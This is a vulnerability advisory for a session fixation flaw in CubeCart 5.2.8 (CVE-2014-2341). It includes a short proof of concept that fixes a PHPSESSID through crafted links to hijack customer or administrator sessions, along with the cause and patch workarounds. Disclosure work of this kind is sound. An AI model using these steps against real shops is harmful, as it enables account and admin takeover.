CubeCart 5.2.8 - Session Fixation

# Exploit Title:     CubeCart 5.2.8 Session Fixation
# Exploit Author:    James Sibley (absane)
# Blog:              http://www.pentester.co
# Download link:     http://www.cubecart.com/download/5.2.8/zip
# Discovery date:    March 14th, 2014
# Vendor notified:   March 15th, 2014
# Vendor fixed:      April 10th, 2014
# Vendor ack:        http://forums.cubecart.com/topic/48427-cubecart-529-relased/
# CVE assignment:    CVE-2014-2341

CubeCart 5.2.8 is vulnerable to a session fixation vulnerability.

The only protection offered is via the User-Agent header field, which can spoofed to match the victim.

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=Proof of Concept.....=
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*Set the User-Agent for both attacker and victim: 
Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)

*To attack a customer:
Victim visits: http://[CubeCart Site]/index.php?PHPSESSID=1337

*To attack an administrator:
Victim visits: http://[CubeCart Site]/admin.php?PHPSESSID=1337

When the victim logs in, the attacker can visit the same link (using the same User-Agent) and hijack the victim's session.

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=Cause................=
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The PHPSESSID parameter is not ignored and allows an attacker to specify their own session id.

The code handling login procedures do not generate new sessions upon successful authentication. 

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=Mitigation...........=
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Upgrade to CubeCart >= 5.2.9

If upgrading is not an option, here is a hackish workaround for the session fixation vulnerability:

In admin.class.php add this at line 324:
$GLOBALS['session']->restart();

In user.class.php add this at line 227:
$GLOBALS['session']->restart();